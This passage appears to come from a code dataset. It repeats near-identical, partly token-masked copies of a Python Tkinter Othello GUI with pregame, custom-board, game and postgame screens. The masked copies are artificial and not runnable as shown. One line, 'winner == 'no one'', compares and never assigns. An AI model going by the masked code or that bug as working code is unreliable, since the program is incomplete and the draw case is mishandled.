Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n <function token>\n <function token>\n <function token>\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n <function token>\n <function token>\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n <function token>\n <function token>\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() 